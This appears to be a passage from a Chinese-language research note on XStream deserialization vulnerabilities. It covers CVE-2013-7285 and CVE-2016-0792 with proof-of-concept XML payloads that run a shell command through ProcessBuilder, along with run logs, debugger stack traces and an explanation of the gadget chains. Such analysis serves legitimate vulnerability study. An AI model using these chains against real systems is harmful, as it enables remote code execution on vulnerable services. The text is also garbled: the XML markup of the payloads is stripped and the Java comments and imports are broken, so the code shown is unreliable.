11.3) BirthdayConverter.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." BirthdayConverter.java / import java.util.Calendar; import com.thoughtworks.xstream.io.; import com.thoughtworks.xstream.converters.;

public class BirthdayConverter implements Converter { public boolean canConvert ( Class clazz ) { / * clazz.equals( Birthday.class ) * * We can use == operators for reference comparison * (address comparison) and .equals() method for content * comparison. In simple words, == checks if both objects point to * the same memory location whereas .equals() evaluates to the * comparison of values in the objects. / return( Birthday.class == clazz ); }

public void marshal
(
    final Object                    source,
    final HierarchicalStreamWriter  writer,
    final MarshallingContext        context
)
{
    Birthday    obj = ( Birthday )source;

    if ( obj.getGender() != '\0' )
    {
        writer.addAttribute( "gender", Character.toString( obj.getGender() ) );
    }
    if ( obj.getPerson() != null )
    {
        writer.startNode( "person" );
        context.convertAnother( obj.getPerson() );
        writer.endNode();
    }
    if ( obj.getCalendar() != null )
    {
        writer.startNode( "birthday" );
        context.convertAnother( obj.getCalendar() );
        writer.endNode();
    }
}

public Object unmarshal
(
    final HierarchicalStreamReader  reader,
    final UnmarshallingContext      context
)
{
    Birthday    obj     = new Birthday();
    String      gender  = reader.getAttribute( "gender" );
    if ( gender != null )
    {
        if ( gender.length() > 0 )
        {
            if ( gender.charAt(0) == 'f' )
            {
                obj.setGender( 'f' );
            }
            else if ( gender.charAt(0) == 'm' )
            {
                obj.setGender( 'm' );
            }
            else
            {
                throw new ConversionException( "Invalid gender value: " + gender );
            }
        }
        else
        {
            throw new ConversionException( "Empty string is invalid gender value" );
        }
    }
    while ( reader.hasMoreChildren() )
    {
        reader.moveDown();
        if ( "person".equals( reader.getNodeName() ) )
        {
            Person      person      = ( Person )context.convertAnother( obj, Person.class );
            obj.setPerson( person );
        }
        else if ( "birthday".equals( reader.getNodeName() ) )
        {
            Calendar    calendar    = ( Calendar )context.convertAnother( obj, Calendar.class );
            obj.setCalendar( calendar );
        }
        reader.moveUp();
    }
    return( obj );
}

}

11.4) SerializeBirthday.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." SerializeBirthday.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday Birthday.xml 0 * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday BirthdayX.xml 0 x * java -cp "xstream-1.4.10.jar:." SerializeBirthday Birthday.xml 1 * java -cp "xstream-1.4.10.jar:." SerializeBirthday Birthday.xml 2 / import java.io.; import java.util.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*;

public class SerializeBirthday { private static XStream GetXStream ( int mode, boolean usec ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        xs  = new XStream();
        break;
    case 1 :
        xs  = new XStream( new DomDriver() );
        break;
    default:
        xs  = new XStream( new StaxDriver() );
        break;
    }
    if ( usec )
    {
        /*
         * 将来用<someone>,而不是<Birthday>
         */
        xs.alias( "someone", Birthday.class );
        xs.registerConverter( new BirthdayConverter() );
    }
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    Birthday            obj     = new Birthday
    (
        new Person( "yoda" ),
        Calendar.getInstance(),
        'm'
    );

    boolean             usec    = ( argv.length > 2 ) ? true : false;
    /*
     * System.out.println( "argv.length = " + argv.length );
     */
    int                 mode    = Integer.parseInt( argv[1] );
    FileOutputStream    fos     = new FileOutputStream( argv[0] );
    XStream             xs      = GetXStream( mode, usec );
    xs.toXML( obj, fos );
    fos.close();
}

}

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday Birthday.xml 0

$ cat Birthday.xml yoda Asia/Shanghai m

这是没有使用Converter时生成的XML。

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday BirthdayX.xml 0 x

$ cat BirthdayX.xml yoda Asia/Shanghai

这是使用Converter后生成的XML。

11.5) DeserializeBirthday.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeBirthday.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 0 * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday BirthdayX.xml 0 x * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;

public class DeserializeBirthday { private static XStream GetXStream ( int mode, boolean usec, String[] pattern ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        xs  = new XStream();
        break;
    case 1 :
        xs  = new XStream( new DomDriver() );
        break;
    default:
        xs  = new XStream( new StaxDriver() );
        break;
    }
    if ( usec )
    {
        xs.alias( "someone", Birthday.class );
        xs.registerConverter( new BirthdayConverter() );
    }
    xs.setupDefaultSecurity( xs );
    xs.allowTypesByRegExp( pattern );
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    boolean         usec    = ( argv.length > 2 ) ? true : false;
    int             mode    = Integer.parseInt( argv[1] );
    FileInputStream fis     = new FileInputStream( argv[0] );
    String[]        pattern = new String[]
    {
    "Birthday"
    };
    XStream         xs      = GetXStream( mode, usec, pattern );
    Birthday        obj     = ( Birthday )xs.fromXML( fis );
    fis.close();

    System.out.println
    (
        String.format
        (
        "name    = %s\n" +
        "birth   = %s\n" +
        "gender  = %c",
        obj.getPerson(),
        /*
         * 用getTime()将Calendar转成Date,后者应该重载过toString()
         */
        obj.getCalendar().getTime(),
        obj.getGender()
        )
    );
}

}

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." Desrthday Birthday.xml 0 name = yoda birth = Thu Dec 05 15:13:09 CST 2019 gender = m

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday BirthdayX.xml 0 x name = yoda birth = Thu Dec 05 15:13:14 CST 2019 gender = m

12) 基于tree-map的PoC(tree-map.xml)

参[10]


anykey anyval java.lang.Comparable /bin/bash -c /bin/touch /tmp/scz_is_here start something


这个PoC适用于如下版本的XStream:

1.4-1.4.6 1.4.10

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.TreeMap required-type : java.util.TreeMap converter-type : com.thoughtworks.xstream.converters.collections.TreeMapConverter path : /tree-map line number : 22 version : 1.4.10


    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
    at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)

Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at com.sun.proxy.$Proxy0.compareTo(Unknown Source) at java.util.TreeMap.put(TreeMap.java:568) at java.util.AbstractMap.putAll(AbstractMap.java:281) at java.util.TreeMap.putAll(TreeMap.java:327) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:122) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal(TreeMapConverter.java:79) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more

$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : java.beans.EventHandler required-type : java.beans.EventHandler converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /tree-map/entry[2]/dynamic-proxy/handler line number : 9 class[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy required-type[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy converter-type[1] : com.thoughtworks.xstream.converters.extended.DynamicProxyConverter class[2] : java.util.TreeMap required-type[2] : java.util.TreeMap converter-type[2] : com.thoughtworks.xstream.converters.collections.TreeMapConverter version : 1.4.11.1


    at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal(DynamicProxyConverter.java:127)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readCompleteItem(AbstractCollectionConverter.java:147)
    at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:105)
    at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98)
    at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:116)
    at com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal(TreeMapConverter.java:79)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347)
    at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)

12.1) TreeMapConverter

http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/TreeMapConverter.html

Converts a java.util.TreeMap to XML, and serializes the associated java.util.Comparator. The converter assumes that the entries in the XML are already sorted according the comparator.

12.2) ProcessBuilder.start()调用栈回溯

$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.ProcessBuilder.start

[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 [17] com.sun.proxy.$Proxy0.compareTo (null), pc = 16 [18] java.util.TreeMap.put (TreeMap.java:568), pc = 141 [19] java.util.AbstractMap.putAll (AbstractMap.java:281), pc = 44 [20] java.util.TreeMap.putAll (TreeMap.java:327), pc = 101 [21] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:122), pc = 107 [22] com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal (TreeMapConverter.java:79), pc = 62 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [24] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [26] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [28] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [29] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [30] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [31] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [32] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25

出现"com.sun.proxy.$Proxy0.compareTo()"。

13) CVE-2013-7285

参看:

http://x-stream.github.io/CVE-2013-7285.html

这个漏洞适用于如下版本的XStream:

1.4-1.4.6 1.4.10

13.1) TicketService.xml

参[10]


TicketService /bin/bash -c /bin/touch /tmp/scz_is_here start


为了利用这个洞,必须知道服务端反序列化得到哪个接口,并且假设服务端在反序列 化之后会调用该接口声明的方法。

13.2) DeserializeTicketService.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeTicketService.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;

public class DeserializeTicketService { private static XStream GetXStream ( int mode ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        xs  = new XStream();
        break;
    case 1 :
        xs  = new XStream( new DomDriver() );
        break;
    default:
        xs  = new XStream( new StaxDriver() );
        break;
    }
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    int             mode    = Integer.parseInt( argv[1] );
    FileInputStream fis     = new FileInputStream( argv[0] );
    XStream         xs      = GetXStream( mode );
    TicketService   obj     = ( TicketService )xs.fromXML( fis );
    fis.close();
    obj.SellTicket();
}

}

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable.

不会报错,正常结束。

$ ls -l /tmp/scz_is_here

13.3) ProcessBuilder.start()调用栈回溯

$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.ProcessBuilder.start

[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 [17] com.sun.proxy.$Proxy0.SellTicket (null), pc = 9 [18] DeserializeTicketService.main (DeserializeTicketService.java:40), pc = 39

出现"com.sun.proxy.$Proxy0.SellTicket()"。

14) CVE-2016-0792(XStream+Groovy)

14.1) map_old.xml

参[13]

CVE-2016-0792需要XStream+Groovy,CVE-2013-7285只需要XStream。


<> hashCode /bin/bash -c /bin/touch /tmp/scz_is_here false 0 0 0 start 1


14.2) map.xml

map_old.xml是网上看来的,map.xml是我实测后精简的。


hashCode /bin/bash -c /bin/touch /tmp/scz_is_here start 0

参[12],需要groovy-all-2.3.9.jar。

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.HashMap required-type : java.util.HashMap converter-type : com.thoughtworks.xstream.converters.collections.MapConverter path : /map/entry line number : 20 version : 1.4.10


    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
    at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)

Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at groovy.util.Expando.hashCode(Expando.java:157) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.put(HashMap.java:612) at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:113) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92) at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more

$ ls -l /tmp/scz_is_here

14.2.1) ProcessBuilder.start()调用栈回溯

$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.ProcessBuilder.start

[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] org.codehaus.groovy.reflection.CachedMethod.invoke (CachedMethod.java:90), pc = 6 [7] groovy.lang.MetaMethod.doMethodInvoke (MetaMethod.java:324), pc = 9 [8] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,207), pc = 1,076 [9] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,074), pc = 243 [10] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,016), pc = 10 [11] groovy.lang.Closure.call (Closure.java:423), pc = 8 [12] groovy.lang.Closure.call (Closure.java:417), pc = 6 [13] groovy.util.Expando.hashCode (Expando.java:157), pc = 34 [14] java.util.HashMap.hash (HashMap.java:339), pc = 9 [15] java.util.HashMap.put (HashMap.java:612), pc = 2 [16] com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap (MapConverter.java:113), pc = 48 [17] com.thoughtworks.xstream.converters.collections.MapConverter.populateMap (MapConverter.java:98), pc = 21 [18] com.thoughtworks.xstream.converters.collections.MapConverter.populateMap (MapConverter.java:92), pc = 5 [19] com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal (MapConverter.java:87), pc = 18 [20] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [21] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [22] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [24] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [25] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [26] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [27] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [28] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [29] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25

14.2.2) MapConverter

http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/MapConverter.html

Converts a java.util.Map to XML, specifying an 'entry' element with 'key' and 'value' children.

14.2.9) 简化版调用关系


XStream.fromXML:1346 XStream.unmarshal:1486 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // MapConverter for java.util.HashMap TreeUnmarshaller.convertAnother:66 MapConverter.unmarshal:87 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // ReflectionConverter for groovy.util.Expando // SingleValueConverterWrapper for java.lang.Integer TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:66 MapConverter.unmarshal:87 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // SingleValueConverterWrapper for java.lang.String // ReflectionConverter for org.codehaus.groovy.runtime.MethodClosure TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // ReflectionConverter for java.lang.ProcessBuilder TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // CollectionConverter for java.util.ArrayList java.util.HashMap.put:612 java.util.HashMap.hash:339 groovy.util.Expando.hashCode groovy.lang.Closure.call groovy.lang.MetaMethod.doMethodInvoke java.lang.ProcessBuilder.start


14.3) CVE-2016-0792漏洞利用原理

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/util/HashMap.java


/ * Associates the specified value with the specified key in this map. * If the map previously contained a mapping for the key, the old * value is replaced. * * @param key key with which the specified value is to be associated * @param value value to be associated with the specified key * @return the previous value associated with key, or * null if there was no mapping for key. * (A null return can also indicate that the map * previously associated null with key.) / public V put(K key, V value) { / * 612行 */ return putVal(hash(key), key, value, false, true); }


/ * Computes key.hashCode() and spreads (XORs) higher bits of hash * to lower. Because the table uses power-of-two masking, sets of * hashes that vary only in bits above the current mask will * always collide. (Among known examples are sets of Float keys * holding consecutive whole numbers in small tables.) So we * apply a transform that spreads the impact of higher bits * downward. There is a tradeoff between speed, utility, and * quality of bit-spreading. Because many common sets of hashes * are already reasonably distributed (so don't benefit from * spreading), and because we use trees to handle large sets of * collisions in bins, we just XOR some shifted bits in the * cheapest possible way to reduce systematic lossage, as well as * to incorporate impact of the highest bits that would otherwise * never be used in index calculations because of table bounds. / static final int hash(Object key) { int h; / * 339行,会调用key.hashCode(),而key是外部传入的 */ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }


https://github.com/andreyvit/groovy/blob/master/groovy/groovy-core/src/main/groovy/util/Expando.java

groovy.util.Expando.hashCode()


/* * This allows hashCode to be overridden by a closure field method attached * to the expando object. * * @see java.lang.Object#hashCode() / public int hashCode() { Object method = getProperties().get("hashCode"); if (method != null && method instanceof Closure) { // invoke overridden hashCode closure method Closure closure = (Closure) method; closure.setDelegate(this); Integer ret = (Integer) closure.call(); return ret.intValue(); } else { return super.hashCode(); } }


If the Expando has a Closure that's supposed to figure out the hash code, the Expando will call that Closure and return its output.

Closure is abstract. We'll give it a MethodClosure! A MethodClosure is a wrapper that calls an arbitrary class and method name. We'll create a method closure that calls start() on a java.lang.ProcessBuilder.

14.3.1) 与InternalBlackList无关

CVE-2013-7285用到"java.beans.EventHandler",后来XStream针对 "java.beans.EventHandler"做了安全限制,使得利用链被阻断。

CVE-2016-0792找到"java.beans.EventHandler"的替代品,来自Groovy的 "groovy.util.Expando";缺点是需要除XStream之外的Groovy库在classpath上。

map.xml不涉及"java.beans.EventHandler",寻找Converter时不会命中:

com.thoughtworks.xstream.XStream$InternalBlackList

仍然命中ReflectionConverter。即使使用1.4.11.1版XStream,CVE-2016-0792仍能 被成功利用:

$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0

14.4) groovy-all-2.4.9.jar无法利用成功

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.4.9.jar:." DeserializeUsingXStream1 map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Cannot deserialize object with new readObject()/writeObject() methods ---- Debugging information ---- message : Cannot deserialize object with new readObject()/writeObject() methods class : org.codehaus.groovy.runtime.MethodClosure required-type : org.codehaus.groovy.runtime.MethodClosure converter-type : com.thoughtworks.xstream.converters.reflection.SerializableConverter path : /map/entry/groovy.util.Expando/expandoProperties/entry/org.codehaus.groovy.runtime.MethodClosure line number : 7 class[1] : java.util.HashMap converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter class[2] : groovy.util.Expando converter-type[2] : com.thoughtworks.xstream.converters.reflection.ReflectionConverter version : 1.4.10


    at com.thoughtworks.xstream.converters.reflection.SerializableConverter.doUnmarshal(SerializableConverter.java:318)
